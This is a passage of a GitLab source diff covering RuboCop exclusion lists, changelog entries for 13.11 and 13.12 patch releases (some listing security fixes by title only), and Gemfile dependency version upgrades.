+ - 'app/workers/repository_check/single_repository_worker.rb'
+ - 'app/workers/repository_cleanup_worker.rb'
+ - 'app/workers/repository_fork_worker.rb'
+ - 'app/workers/repository_import_worker.rb'
+ - 'app/workers/repository_remove_remote_worker.rb'
+ - 'app/workers/repository_update_remote_mirror_worker.rb'
+ - 'app/workers/requests_profiles_worker.rb'
+ - 'app/workers/run_pipeline_schedule_worker.rb'
+ - 'app/workers/schedule_merge_request_cleanup_refs_worker.rb'
+ - 'app/workers/schedule_migrate_external_diffs_worker.rb'
+ - 'app/workers/self_monitoring_project_create_worker.rb'
+ - 'app/workers/self_monitoring_project_delete_worker.rb'
+ - 'app/workers/service_desk_email_receiver_worker.rb'
+ - 'app/workers/snippets/schedule_bulk_repository_shard_moves_worker.rb'
+ - 'app/workers/ssh_keys/expired_notification_worker.rb'
+ - 'app/workers/ssh_keys/expiring_soon_notification_worker.rb'
+ - 'app/workers/stage_update_worker.rb'
+ - 'app/workers/stuck_ci_jobs_worker.rb'
+ - 'app/workers/stuck_export_jobs_worker.rb'
+ - 'app/workers/stuck_merge_jobs_worker.rb'
+ - 'app/workers/system_hook_push_worker.rb'
+ - 'app/workers/todos_destroyer/confidential_issue_worker.rb'
+ - 'app/workers/todos_destroyer/destroyed_issuable_worker.rb'
+ - 'app/workers/todos_destroyer/entity_leave_worker.rb'
+ - 'app/workers/todos_destroyer/group_private_worker.rb'
+ - 'app/workers/todos_destroyer/private_features_worker.rb'
+ - 'app/workers/todos_destroyer/project_private_worker.rb'
+ - 'app/workers/trending_projects_worker.rb'
+ - 'app/workers/update_container_registry_info_worker.rb'
+ - 'app/workers/update_external_pull_requests_worker.rb'
+ - 'app/workers/update_head_pipeline_for_merge_request_worker.rb'
+ - 'app/workers/update_highest_role_worker.rb'
+ - 'app/workers/update_merge_requests_worker.rb'
+ - 'app/workers/update_project_statistics_worker.rb'
+ - 'app/workers/upload_checksum_worker.rb'
+ - 'app/workers/user_status_cleanup/batch_worker.rb'
+ - 'app/workers/users/create_statistics_worker.rb'
+ - 'app/workers/users/deactivate_dormant_users_worker.rb'
+ - 'app/workers/wait_for_cluster_creation_worker.rb'
+ - 'app/workers/web_hooks/destroy_worker.rb'
+ - 'app/workers/web_hooks/log_execution_worker.rb'
+ - 'app/workers/x509_certificate_revoke_worker.rb'
+ - 'app/workers/x509_issuer_crl_check_worker.rb'
+ - 'ee/app/workers/active_user_count_threshold_worker.rb'
+ - 'ee/app/workers/adjourned_group_deletion_worker.rb'
+ - 'ee/app/workers/adjourned_project_deletion_worker.rb'
+ - 'ee/app/workers/adjourned_projects_deletion_cron_worker.rb'
+ - 'ee/app/workers/admin_emails_worker.rb'
+ - 'ee/app/workers/analytics/code_review_metrics_worker.rb'
+ - 'ee/app/workers/analytics/devops_adoption/create_all_snapshots_worker.rb'
+ - 'ee/app/workers/analytics/devops_adoption/create_snapshot_worker.rb'
+ - 'ee/app/workers/approval_rules/external_approval_rule_payload_worker.rb'
+ - 'ee/app/workers/ci/batch_reset_minutes_worker.rb'
+ - 'ee/app/workers/ci/sync_reports_to_report_approval_rules_worker.rb'
+ - 'ee/app/workers/clear_shared_runners_minutes_worker.rb'
+ - 'ee/app/workers/create_github_webhook_worker.rb'
+ - 'ee/app/workers/dast_site_validation_worker.rb'
+ - 'ee/app/workers/deployments/auto_rollback_worker.rb'
+ - 'ee/app/workers/dora/daily_metrics/refresh_worker.rb'
+ - 'ee/app/workers/dora/daily_metrics/refresh_worker.rb'
+ - 'ee/app/workers/elastic/migration_worker.rb'
+ - 'ee/app/workers/elastic_association_indexer_worker.rb'
+ - 'ee/app/workers/elastic_cluster_reindexing_cron_worker.rb'
+ - 'ee/app/workers/elastic_commit_indexer_worker.rb'
+ - 'ee/app/workers/elastic_delete_project_worker.rb'
+ - 'ee/app/workers/elastic_full_index_worker.rb'
+ - 'ee/app/workers/elastic_indexing_control_worker.rb'
+ - 'ee/app/workers/elastic_namespace_indexer_worker.rb'
+ - 'ee/app/workers/elastic_namespace_rollout_worker.rb'
+ - 'ee/app/workers/elastic_remove_expired_namespace_subscriptions_from_index_cron_worker.rb'
+ - 'ee/app/workers/epics/new_epic_issue_worker.rb'
+ - 'ee/app/workers/epics/update_epics_dates_worker.rb'
+ - 'ee/app/workers/geo/batch/project_registry_scheduler_worker.rb'
+ - 'ee/app/workers/geo/batch/project_registry_worker.rb'
+ - 'ee/app/workers/geo/container_repository_sync_worker.rb'
+ - 'ee/app/workers/geo/design_repository_sync_worker.rb'
+ - 'ee/app/workers/geo/destroy_worker.rb'
+ - 'ee/app/workers/geo/event_worker.rb'
+ - 'ee/app/workers/geo/file_download_worker.rb'
+ - 'ee/app/workers/geo/file_registry_removal_worker.rb'
+ - 'ee/app/workers/geo/file_removal_worker.rb'
+ - 'ee/app/workers/geo/hashed_storage_attachments_migration_worker.rb'
+ - 'ee/app/workers/geo/hashed_storage_migration_worker.rb'
+ - 'ee/app/workers/geo/metrics_update_worker.rb'
+ - 'ee/app/workers/geo/project_sync_worker.rb'
+ - 'ee/app/workers/geo/prune_event_log_worker.rb'
+ - 'ee/app/workers/geo/rename_repository_worker.rb'
+ - 'ee/app/workers/geo/repositories_clean_up_worker.rb'
+ - 'ee/app/workers/geo/repository_cleanup_worker.rb'
+ - 'ee/app/workers/geo/repository_verification/primary/single_worker.rb'
+ - 'ee/app/workers/geo/repository_verification/secondary/single_worker.rb'
+ - 'ee/app/workers/geo/reverification_batch_worker.rb'
+ - 'ee/app/workers/geo/scheduler/per_shard_scheduler_worker.rb'
+ - 'ee/app/workers/geo/scheduler/scheduler_worker.rb'
+ - 'ee/app/workers/geo/secondary/registry_consistency_worker.rb'
+ - 'ee/app/workers/geo/secondary_usage_data_cron_worker.rb'
+ - 'ee/app/workers/geo/sidekiq_cron_config_worker.rb'
+ - 'ee/app/workers/geo/sync_timeout_cron_worker.rb'
+ - 'ee/app/workers/geo/verification_batch_worker.rb'
+ - 'ee/app/workers/geo/verification_cron_worker.rb'
+ - 'ee/app/workers/geo/verification_timeout_worker.rb'
+ - 'ee/app/workers/geo/verification_worker.rb'
+ - 'ee/app/workers/geo_repository_destroy_worker.rb'
+ - 'ee/app/workers/group_saml_group_sync_worker.rb'
+ - 'ee/app/workers/groups/schedule_bulk_repository_shard_moves_worker.rb'
+ - 'ee/app/workers/groups/update_statistics_worker.rb'
+ - 'ee/app/workers/historical_data_worker.rb'
+ - 'ee/app/workers/import_software_licenses_worker.rb'
+ - 'ee/app/workers/incident_management/apply_incident_sla_exceeded_label_worker.rb'
+ - 'ee/app/workers/incident_management/incident_sla_exceeded_check_worker.rb'
+ - 'ee/app/workers/incident_management/oncall_rotations/persist_all_rotations_shifts_job.rb'
+ - 'ee/app/workers/incident_management/oncall_rotations/persist_shifts_job.rb'
+ - 'ee/app/workers/incident_management/pending_escalations/alert_check_worker.rb'
+ - 'ee/app/workers/incident_management/pending_escalations/alert_create_worker.rb'
+ - 'ee/app/workers/incident_management/pending_escalations/schedule_check_cron_worker.rb'
+ - 'ee/app/workers/iterations/cadences/create_iterations_worker.rb'
+ - 'ee/app/workers/iterations/cadences/schedule_create_iterations_worker.rb'
+ - 'ee/app/workers/iterations/roll_over_issues_worker.rb'
+ - 'ee/app/workers/iterations_update_status_worker.rb'
+ - 'ee/app/workers/ldap_all_groups_sync_worker.rb'
+ - 'ee/app/workers/ldap_group_sync_worker.rb'
+ - 'ee/app/workers/ldap_sync_worker.rb'
+ - 'ee/app/workers/merge_request_reset_approvals_worker.rb'
+ - 'ee/app/workers/merge_requests/sync_code_owner_approval_rules_worker.rb'
+ - 'ee/app/workers/merge_trains/refresh_worker.rb'
+ - 'ee/app/workers/network_policy_metrics_worker.rb'
+ - 'ee/app/workers/new_epic_worker.rb'
+ - 'ee/app/workers/personal_access_tokens/groups/policy_worker.rb'
+ - 'ee/app/workers/personal_access_tokens/instance/policy_worker.rb'
+ - 'ee/app/workers/project_import_schedule_worker.rb'
+ - 'ee/app/workers/pseudonymizer_worker.rb'
+ - 'ee/app/workers/refresh_license_compliance_checks_worker.rb'
+ - 'ee/app/workers/repository_push_audit_event_worker.rb'
+ - 'ee/app/workers/repository_update_mirror_worker.rb'
+ - 'ee/app/workers/requirements_management/import_requirements_csv_worker.rb'
+ - 'ee/app/workers/requirements_management/process_requirements_reports_worker.rb'
+ - 'ee/app/workers/scan_security_report_secrets_worker.rb'
+ - 'ee/app/workers/security/auto_fix_worker.rb'
+ - 'ee/app/workers/security/create_orchestration_policy_worker.rb'
+ - 'ee/app/workers/security/orchestration_policy_rule_schedule_worker.rb'
+ - 'ee/app/workers/security/store_scans_worker.rb'
+ - 'ee/app/workers/security/track_secure_scans_worker.rb'
+ - 'ee/app/workers/set_user_status_based_on_user_cap_setting_worker.rb'
+ - 'ee/app/workers/status_page/publish_worker.rb'
+ - 'ee/app/workers/store_security_reports_worker.rb'
+ - 'ee/app/workers/store_security_scans_worker.rb'
+ - 'ee/app/workers/sync_seat_link_request_worker.rb'
+ - 'ee/app/workers/sync_seat_link_worker.rb'
+ - 'ee/app/workers/todos_destroyer/confidential_epic_worker.rb'
+ - 'ee/app/workers/update_all_mirrors_worker.rb'
+ - 'ee/app/workers/update_max_seats_used_for_gitlab_com_subscriptions_worker.rb'
+ - 'ee/app/workers/vulnerabilities/historical_statistics/deletion_worker.rb'
+ - 'ee/app/workers/vulnerabilities/statistics/adjustment_worker.rb'
+ - 'ee/app/workers/vulnerabilities/statistics/schedule_worker.rb'
+ - 'ee/app/workers/vulnerability_exports/export_deletion_worker.rb'
+ - 'ee/app/workers/vulnerability_exports/export_worker.rb'
diff --git a/.rubocop_todo.yml b/.rubocop_todo.yml
index ad1f7afa451..09aa4471a4c 100644
--- a/.rubocop_todo.yml
+++ b/.rubocop_todo.yml
@@ -440,7 +440,7 @@ Rails/ApplicationController:
- 'app/controllers/health_controller.rb'
- 'app/controllers/metrics_controller.rb'
- 'ee/app/controllers/oauth/geo_auth_controller.rb'
- - 'ee/spec/helpers/ee/services_helper_spec.rb'
+ - 'ee/spec/helpers/ee/integrations_helper_spec.rb'
- 'lib/gitlab/base_doorkeeper_controller.rb'
- 'lib/gitlab/request_forgery_protection.rb'
- 'spec/controllers/concerns/continue_params_spec.rb'
@@ -660,23 +660,6 @@ Style/BisectedAttrAccessor:
Style/CaseLikeIf:
Enabled: false
-# Offense count: 10
-# Cop supports --auto-correct.
-# Configuration parameters: IgnoredMethods.
-# IgnoredMethods: ==, equal?, eql?
-Style/ClassEqualityComparison:
- Exclude:
- - 'app/finders/security/jobs_finder.rb'
- - 'app/services/projects/overwrite_project_service.rb'
- - 'app/uploaders/dependency_proxy/file_uploader.rb'
- - 'ee/app/graphql/resolvers/vulnerabilities/issue_links_resolver.rb'
- - 'lib/gitlab/background_migration/user_mentions/models/note.rb'
- - 'lib/gitlab/diff/file.rb'
- - 'lib/gitlab/git.rb'
- - 'lib/gitlab/import_export/relation_tree_restorer.rb'
- - 'spec/requests/api/services_spec.rb'
- - 'spec/support/shared_examples/lib/gitlab/import_export/relation_factory_shared_examples.rb'
-
# Offense count: 13
Style/CombinableLoops:
Exclude:
diff --git a/CHANGELOG.md b/CHANGELOG.md
index 589115f5085..a658a6f32c1 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -703,6 +703,54 @@ entry.
- [Add missing metrics information](gitlab-org/gitlab@89cd7fe3b95323e635b2d73e08549b2e6153dc4d) ([merge request](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/61772/edit))
- [Track usage of the resolve UI](gitlab-org/gitlab@35c8e30fce288cecefcf2f7c0077d4608e696519) ([merge request](gitlab-org/gitlab!61654))
+## 13.12.8 (2021-07-07)
+
+### Security (1 change)
+
+- [Disable file and network premailer strategies](gitlab-org/security/gitlab@ee69d6d6950bb116cb31523ca805e78af431c25c) ([merge request](gitlab-org/security/gitlab!1545))
+
+## 13.12.7 (2021-07-05)
+
+### Fixed (2 changes)
+
+- [Fix state value in the lfs_object_registry table](gitlab-org/gitlab@feca70558108299a9b7b499e4461b59b7c140ef7) ([merge request](gitlab-org/gitlab!65466)) **GitLab Enterprise Edition**
+- [Fix pages deployment storage migration](gitlab-org/gitlab@4e806a7b5e0eef8d88bcdb68724c6b7bf3c08293) ([merge request](gitlab-org/gitlab!65366))
+
+### Changed (1 change)
+
+- [Move migration to a pre-deployment migration](gitlab-org/gitlab@d02fcd44b3dd797e18221e4e91ab913372bdf18a) ([merge request](gitlab-org/gitlab!65466)) **GitLab Enterprise Edition**
+
+## 13.12.6 (2021-07-01)
+
+### Added (1 change)
+
+- [Added omniauth_user check when verifying user cap](gitlab-org/security/gitlab@a61062501630c35820301e9f79a036219d1e3074) ([merge request](gitlab-org/security/gitlab!1502)) **GitLab Enterprise Edition**
+
+### Security (14 changes)
+
+- [Bump rails gem version to 6.0.3.7](gitlab-org/security/gitlab@58d27ba819867baadf535e0d8d91d0cb818dc8b6) ([merge request](gitlab-org/security/gitlab!1515))
+- [Update rdoc to 6.3.1](gitlab-org/security/gitlab@ead11a6974576b0b1a974985493c75143e3bd575) ([merge request](gitlab-org/security/gitlab!1534))
+- [Add sanitizing for name field](gitlab-org/security/gitlab@2c5672eae4323c2682245485b327850e68e7e5b4) ([merge request](gitlab-org/security/gitlab!1490))
+- [Forbid GET requests with mutations](gitlab-org/security/gitlab@2b01d6dc310451fa3022f1865470ca004bbd4c33) ([merge request](gitlab-org/security/gitlab!1529))
+- [Copy feature visibility settings to a fork](gitlab-org/security/gitlab@5ee923ba64fb34fc38f831fc206a153d8f7eae91) ([merge request](gitlab-org/security/gitlab!1523))
+- [Avoid disclosing project in web IDE](gitlab-org/security/gitlab@759d1361e7f359d681c4f55ea2b6f7e1d0bb1e53) ([merge request](gitlab-org/security/gitlab!1512))
+- [Add new username validation](gitlab-org/security/gitlab@e79625541d04b0d6c94614f2afc6aaeb2ef40083) ([merge request](gitlab-org/security/gitlab!1495))
+- [Allow only same-origin URLs for Edit Release Cancel button](gitlab-org/security/gitlab@e5bda0a7e03978afee494616e2054b8650b61d3e) ([merge request](gitlab-org/security/gitlab!1486))
+- [Update Nokogiri to 1.11.4](gitlab-org/security/gitlab@d71973da1850df059b1ec1422d50bbccace21ff2) ([merge request](gitlab-org/security/gitlab!1479))
+- [Fix deploy key fallback issue in protected branch](gitlab-org/security/gitlab@0411bc45885e1122c06dbff084b48bf03d78c6a8) ([merge request](gitlab-org/security/gitlab!1478))
+- [Fix XSS on audit log for feature flag actions](gitlab-org/security/gitlab@22e2f903c821e54ce6d4b4b749a009d14abc4a13) ([merge request](gitlab-org/security/gitlab!1474))
+- [Sanitize input on pasteGFM](gitlab-org/security/gitlab@7dc511ebc2e77c3d22cd34ca87449f32120a5229) ([merge request](gitlab-org/security/gitlab!1453))
+- [Add total http read timeout](gitlab-org/security/gitlab@37c24c82d5dfa57fad03f265e7ba92f6ef250c30) ([merge request](gitlab-org/security/gitlab!1427))
+- [Fix merge request diff display issue with unsupported encoding](gitlab-org/security/gitlab@7d05892daa6aaf951b941628e2af41e17977b140) ([merge request](gitlab-org/security/gitlab!1424))
+
+## 13.12.5 (2021-06-21)
+
+### Fixed (3 changes)
+
+- [Fix failing spec](gitlab-org/gitlab@7d1a9b0155195eb082f5b33ba1310deed742a7a4) ([merge request](gitlab-org/gitlab!64488))
+- [Advanced Search Settings page does not load if the ES url is unreachable](gitlab-org/gitlab@80b262f0e79f02a89724ed4e3988e686f53c959c) ([merge request](gitlab-org/gitlab!64488)) **GitLab Enterprise Edition**
+- [Fix Password expired error on git fetch via SSH for LDAP user](gitlab-org/gitlab@19a7d7a6d3cd43f1c7559c729532ad3b9dafb75c) ([merge request](gitlab-org/gitlab!64488))
+
## 13.12.4 (2021-06-14)
### Fixed (3 changes)
@@ -1334,6 +1382,36 @@ entry.
- Change wording for design management upload. !61782
+## 13.11.7 (2021-07-07)
+
+### Security (1 change)
+
+- [Disable file and network premailer strategies](gitlab-org/security/gitlab@511ed3746b48a26e95c851f76ac6fdcd44c28fd8) ([merge request](gitlab-org/security/gitlab!1546))
+
+## 13.11.6 (2021-07-01)
+
+### Added (1 change)
+
+- [Added omniauth_user check when verifying user cap](gitlab-org/security/gitlab@60bc8ff36c41871271dbd4e07db960d09204607d) ([merge request](gitlab-org/security/gitlab!1503)) **GitLab Enterprise Edition**
+
+### Security (15 changes)
+
+- [Bump rails gem version to 6.0.3.7](gitlab-org/security/gitlab@23e4317622532de2564b7a7b0efb0812e5601a2e) ([merge request](gitlab-org/security/gitlab!1516))
+- [Update rdoc to 6.3.1](gitlab-org/security/gitlab@452f9c7370c844ea728cda7ae96f990d10c32ca2) ([merge request](gitlab-org/security/gitlab!1535))
+- [Prevent GraphQL API access by deactivated users](gitlab-org/security/gitlab@fdedb77bc2190dd87988171396bbb335fd8c47cd) ([merge request](gitlab-org/security/gitlab!1527))
+- [Add sanitizing for name field](gitlab-org/security/gitlab@d49da0e57d91fcc59f0732eb978f68b68619a761) ([merge request](gitlab-org/security/gitlab!1491))
+- [Copy feature visibility settings to a fork](gitlab-org/security/gitlab@5fd56f01c69edaefb64143ea593d680a0477cb28) ([merge request](gitlab-org/security/gitlab!1524))
+- [Avoid disclosing project in web IDE](gitlab-org/security/gitlab@6cba97cef6fa1ab0808db98c64baa33597e54979) ([merge request](gitlab-org/security/gitlab!1513))
+- [Add new username validation](gitlab-org/security/gitlab@9a5f5264f4c30248e83747e4ac79e2c2396461dd) ([merge request](gitlab-org/security/gitlab!1497))
+- [Allow only same-origin URLs for Edit Release Cancel button](gitlab-org/security/gitlab@b959550cf4cd057d42b4a1ae76aee968cc9133b4) ([merge request](gitlab-org/security/gitlab!1485))
+- [Limit creation of issues based on issue type](gitlab-org/security/gitlab@e8713df5341a6c54a4607d6eef0fbb70f93a375f) ([merge request](gitlab-org/security/gitlab!1481))
+- [Update Nokogiri to 1.11.4](gitlab-org/security/gitlab@ac29afd195e19cd5c38d9030ecf7fabdea9214d1) ([merge request](gitlab-org/security/gitlab!1480))
+- [Fix deploy key fallback issue in protected branch](gitlab-org/security/gitlab@bb0c95595c2b0db98af1feb882aa09870cee3600) ([merge request](gitlab-org/security/gitlab!1477))
+- [Fix XSS on audit log for feature flag actions](gitlab-org/security/gitlab@e0140c81b2d7eea963248f2c2bd103b1b5a908ee) ([merge request](gitlab-org/security/gitlab!1475))
+- [Sanitize input on pasteGFM](gitlab-org/security/gitlab@b47f364dfe82e59d480bb42adccc24ce691b18b1) ([merge request](gitlab-org/security/gitlab!1452))
+- [Add total http read timeout](gitlab-org/security/gitlab@2179f835eadec3afa3233d649fbcdad6125a92c5) ([merge request](gitlab-org/security/gitlab!1393))
+- [Fix merge request diff display issue with unsupported encoding](gitlab-org/security/gitlab@33971ea6fba1c493b2d8da4a82c8a0af71ef7e0f) ([merge request](gitlab-org/security/gitlab!1425))
+
## 13.11.4 (2021-05-14)
### Fixed (3 changes)
diff --git a/GITALY_SERVER_VERSION b/GITALY_SERVER_VERSION
index 6dbeddf9e31..76ae4aa70a8 100644
--- a/GITALY_SERVER_VERSION
+++ b/GITALY_SERVER_VERSION
@@ -1 +1 @@
-14.0.5 \ No newline at end of file
+b56e0680f4d85505205945c39c01aa641d37bd9b
diff --git a/GITLAB_KAS_VERSION b/GITLAB_KAS_VERSION
index 63dba868a0c..7b3b6e02bb3 100644
--- a/GITLAB_KAS_VERSION
+++ b/GITLAB_KAS_VERSION
@@ -1 +1 @@
-14.0.1
+14.1.0
diff --git a/GITLAB_PAGES_VERSION b/GITLAB_PAGES_VERSION
index 32b7211cb61..7d47e599800 100644
--- a/GITLAB_PAGES_VERSION
+++ b/GITLAB_PAGES_VERSION
@@ -1 +1 @@
-1.40.0
+1.41.0
diff --git a/Gemfile b/Gemfile
index 72fd64b6f2e..68e4f2df1ff 100644
--- a/Gemfile
+++ b/Gemfile
@@ -35,7 +35,7 @@ gem 'rexml', '~> 3.2.5'
gem 'ruby-saml', '~> 1.12.1'
gem 'omniauth', '~> 1.8'
gem 'omniauth-auth0', '~> 2.0.0'
-gem 'omniauth-azure-activedirectory-v2', '~> 0.1'
+gem 'omniauth-azure-activedirectory-v2', '~> 1.0'
gem 'omniauth-azure-oauth2', '~> 0.0.9' # Deprecated v1 version
gem 'omniauth-cas3', '~> 1.1.4'
gem 'omniauth-facebook', '~> 4.0.0'
@@ -124,7 +124,7 @@ gem 'fog-aws', '~> 3.9'
# Locked until fog-google resolves https://github.com/fog/fog-google/issues/421.
# Also see config/initializers/fog_core_patch.rb.
gem 'fog-core', '= 2.1.0'
-gem 'gitlab-fog-google', '~> 1.13', require: 'fog/google'
+gem 'fog-google', '~> 1.15', require: 'fog/google'
gem 'fog-local', '~> 0.6'
gem 'fog-openstack', '~> 1.0'
gem 'fog-rackspace', '~> 0.1.1'
@@ -157,14 +157,14 @@ gem 'github-markup', '~> 1.7.0', require: 'github/markup'
gem 'commonmarker', '~> 0.21'
gem 'kramdown', '~> 2.3.1'
gem 'RedCloth', '~> 4.3.2'
-gem 'gitlab-rdoc', '~> 6.3.2', require: 'rdoc' # We need this fork until rdoc releases a new version. See https://gitlab.com/gitlab-org/gitlab/-/issues/334695
+gem 'rdoc', '~> 6.3.2'
gem 'org-ruby', '~> 0.9.12'
gem 'creole', '~> 0.5.0'
gem 'wikicloth', '0.8.1'
gem 'asciidoctor', '~> 2.0.10'
gem 'asciidoctor-include-ext', '~> 0.3.1', require: false
gem 'asciidoctor-plantuml', '~> 0.0.12'
-gem 'asciidoctor-kroki', '~> 0.4.0', require: false
+gem 'asciidoctor-kroki', '~> 0.5.0', require: false
gem 'rouge', '~> 3.26.0'
gem 'truncato', '~> 0.7.11'
gem 'bootstrap_form', '~> 4.2.0'
@@ -197,7 +197,7 @@ gem 'acts-as-taggable-on', '~> 7.0'
# Background jobs
gem 'sidekiq', '~> 5.2.7'
gem 'sidekiq-cron', '~> 1.0'
-gem 'redis-namespace', '~> 1.7.0'
+gem 'redis-namespace', '~> 1.8.1'
gem 'gitlab-sidekiq-fetcher', '0.5.6', require: 'sidekiq-reliable-fetch'
# Cron Parser
@@ -229,7 +229,7 @@ gem 'js_regex', '~> 3.4'
gem 'device_detector'
# Redis
-gem 'redis', '~> 4.0'
+gem 'redis', '~> 4.1.4'
gem 'connection_pool', '~> 2.0'
# Redis session store
@@ -258,7 +258,7 @@ gem 'asana', '~> 0.10.3'
gem 'ruby-fogbugz', '~> 0.2.1'
# Kubernetes integration
-gem 'kubeclient', '~> 4.9.1'
+gem 'kubeclient', '~> 4.9.2'
# Sanitize user input
gem 'sanitize', '~> 5.2.1'
@@ -286,16 +286,16 @@ gem 'gitlab_chronic_duration', '~> 0.10.6.2'
gem 'rack-proxy', '~> 0.6.0'
gem 'sassc-rails', '~> 2.1.0'
-gem 'autoprefixer-rails', '10.2.0.0'
+gem 'autoprefixer-rails', '10.2.5.1'
gem 'terser', '1.0.2'
-gem 'addressable', '~> 2.7'
+gem 'addressable', '~> 2.8'
gem 'gemojione', '~> 3.3'
gem 'gon', '~> 6.4.0'
gem 'request_store', '~> 1.5'
gem 'base32', '~> 0.3.0'
-gem 'gitlab-license', '~> 1.5'
+gem 'gitlab-license', '~> 2.0'
# Protect against bruteforcing
gem 'rack-attack', '~> 6.3.0'
@@ -305,16 +305,12 @@ gem 'sentry-raven', '~> 3.1'
# PostgreSQL query parsing
#
-# We need this fork until https://github.com/pganalyze/pg_query/pull/212
-# and https://github.com/pganalyze/pg_query/pull/213 are
-# released. gitlab-labkit will need to be updated to use the pg_query
-# version.
-gem 'gitlab-pg_query', '~> 2.0.4', require: 'pg_query'
+gem 'pg_query', '~> 2.1'
gem 'premailer-rails', '~> 1.10.3'
# LabKit: Tracing and Correlation
-gem 'gitlab-labkit', '~> 0.18.0'
+gem 'gitlab-labkit', '~> 0.20.0'
# Thrift is a dependency of gitlab-labkit, we want a version higher than 0.14.0
# because of https://gitlab.com/gitlab-org/gitlab/-/issues/321900
gem 'thrift', '>= 0.14.0'
@@ -335,13 +331,9 @@ gem 'peek', '~> 1.1'
gem 'snowplow-tracker', '~> 0.6.1'
# Metrics
-group :metrics do
- gem 'method_source', '~> 1.0', require: false
- gem 'webrick', '~> 1.6.1', require: false
-
- # Prometheus
- gem 'prometheus-client-mmap', '~> 0.12.0'
-end
+gem 'method_source', '~> 1.0', require: false
+gem 'webrick', '~> 1.6.1', require: false
+gem 'prometheus-client-mmap', '~> 0.12.0', require: 'prometheus/client'
group :development do
gem 'lefthook', '~> 0.7.0', require: false
@@ -402,7 +394,7 @@ group :development, :test do
end
group :development, :test, :danger do
- gem 'gitlab-dangerfiles', '~> 2.1.2', require: false
+ gem 'gitlab-dangerfiles', '~> 2.2.2', require: false
end
group :development, :test, :coverage do
@@ -480,7 +472,7 @@ end
gem 'spamcheck', '~> 0.1.0'
# Gitaly GRPC protocol definitions
-gem 'gitaly', '~> 14.0.0.pre.rc2'
+gem 'gitaly', '~> 14.1.0.pre.rc3'
# KAS GRPC protocol definitions
gem 'kas-grpc', '~> 0.0.2'
@@ -489,14 +481,14 @@ gem 'grpc', '~> 1.30.2'
gem 'google-protobuf', '~> 3.17.1'
-gem 'toml-rb', '~> 1.0.0'
+gem 'toml-rb', '~> 2.0'
# Feature toggles
gem 'flipper', '~> 0.21.0'
gem 'flipper-active_record', '~> 0.21.0'
gem 'flipper-active_support_cache_store', '~> 0.21.0'
gem 'unleash', '~> 0.1.5'
-gem 'gitlab-experiment', '~> 0.5.4'
+gem 'gitlab-experiment', '~> 0.6.1'
# Structured logging
gem 'lograge', '~> 0.5'
diff --git a/Gemfile.lock b/Gemfile.lock
index 0555f933922..e3bb0584149 100644
--- a/Gemfile.lock
+++ b/Gemfile.lock
@@ -79,7 +79,7 @@ GEM
adamantium (0.2.0)
ice_nine (~> 0.11.0)
memoizable (~> 0.4.0)
- addressable (2.7.0)
+ addressable (2.8.0)
public_suffix (>= 2.0.2, < 5.0)
aes_key_wrap (1.1.0)
akismet (3.0.0)
@@ -92,10 +92,10 @@ GEM
faraday_middleware (~> 1.0)
faraday_middleware-multi_json (~> 0.0)
oauth2 (~> 1.4)
- asciidoctor (2.0.12)
+ asciidoctor (2.0.15)
asciidoctor-include-ext (0.3.1)
asciidoctor (>= 1.5.6, < 3.0.0)
- asciidoctor-kroki (0.4.0)
+ asciidoctor-kroki (0.5.0)
asciidoctor (~> 2.0)
asciidoctor-plantuml (0.0.12)
asciidoctor (>= 1.5.6, < 3.0.0)
@@ -105,9 +105,9 @@ GEM
attr_encrypted (3.1.0)
encryptor (~> 3.0.0)
attr_required (1.0.1)
- autoprefixer-rails (10.2.0.0)
- execjs
- awesome_print (1.8.0)
+ autoprefixer-rails (10.2.5.1)
+ execjs (> 0)
+ awesome_print (1.9.2)
awrence (1.1.1)
aws-eventstream (1.1.0)
aws-partitions (1.345.0)
@@ -229,7 +229,7 @@ GEM
css_parser (1.7.0)
addressable
daemons (1.3.1)
- danger (8.2.3)
+ danger (8.3.1)
claide (~> 1.0)
claide-plugins (>= 0.9.2)
colored2 (~> 3.1)
@@ -343,7 +343,7 @@ GEM
tzinfo
eventmachine (1.2.7)
excon (0.71.1)
- execjs (2.7.0)
+ execjs (2.8.1)
expression_parser (0.9.0)
extended-markdown-filter (0.6.0)
html-pipeline (~> 2.0)
@@ -381,7 +381,7 @@ GEM
fast_blank (1.0.0)
fast_gettext (1.6.0)
ffaker (2.10.0)
- ffi (1.15.1)
+ ffi (1.15.3)
ffi-compiler (1.0.1)
ffi (>= 1.0.0)
rake
@@ -412,6 +412,12 @@ GEM
excon (~> 0.58)
formatador (~> 0.2)
mime-types
+ fog-google (1.15.0)
+ fog-core (<= 2.1.0)
+ fog-json (~> 1.2)
+ fog-xml (~> 0.1.0)
+ google-api-client (>= 0.44.2, < 0.51)
+ google-cloud-env (~> 1.2)
fog-json (1.2.0)
fog-core
multi_json (~> 1.10)
@@ -454,7 +460,7 @@ GEM
rails (>= 3.2.0)
git (1.7.0)
rchardet (~> 1.8)
- gitaly (14.0.0.pre.rc2)
+ gitaly (14.1.0.pre.rc3)
grpc (~> 1.0)
github-markup (1.7.0)
gitlab (4.16.1)
@@ -462,9 +468,10 @@ GEM
terminal-table (~> 1.5, >= 1.5.1)
gitlab-chronic (0.10.5)
numerizer (~> 0.2)
- gitlab-dangerfiles (2.1.2)
- danger-gitlab
- gitlab-experiment (0.5.4)
+ gitlab-dangerfiles (2.2.2)
+ danger (>= 8.3.1)
+ danger-gitlab (>= 8.0.0)
+ gitlab-experiment (0.6.1)
activesupport (>= 3.0)
request_store (>= 1.0)
scientist (~> 1.6, >= 1.6.0)
@@ -475,22 +482,15 @@ GEM
fog-json (~> 1.2.0)
mime-types
ms_rest_azure (~> 0.12.0)
- gitlab-fog-google (1.13.0)
- addressable (>= 2.7.0)
- fog-core (<= 2.1.0)
- fog-json (~> 1.2)
- fog-xml (~> 0.1.0)
- google-api-client (>= 0.44.2, < 0.51)
- google-cloud-env (~> 1.2)
- gitlab-labkit (0.18.0)
+ gitlab-labkit (0.20.0)
actionpack (>= 5.0.0, < 7.0.0)
activesupport (>= 5.0.0, < 7.0.0)
- gitlab-pg_query (~> 2.0)
grpc (~> 1.19)
jaeger-client (~> 1.1)
opentracing (~> 0.4)
+ pg_query (~> 2.1)
redis (> 3.0.0, < 5.0.0)
- gitlab-license (1.5.0)
+ gitlab-license (2.0.0)
gitlab-mail_room (0.0.9)
gitlab-markup (1.7.1)
gitlab-net-dns (0.9.1)
@@ -498,9 +498,6 @@ GEM
addressable (~> 2.7)
omniauth (~> 1.9)
openid_connect (~> 1.2)
- gitlab-pg_query (2.0.4)
- google-protobuf (>= 3.17.1)
- gitlab-rdoc (6.3.2)
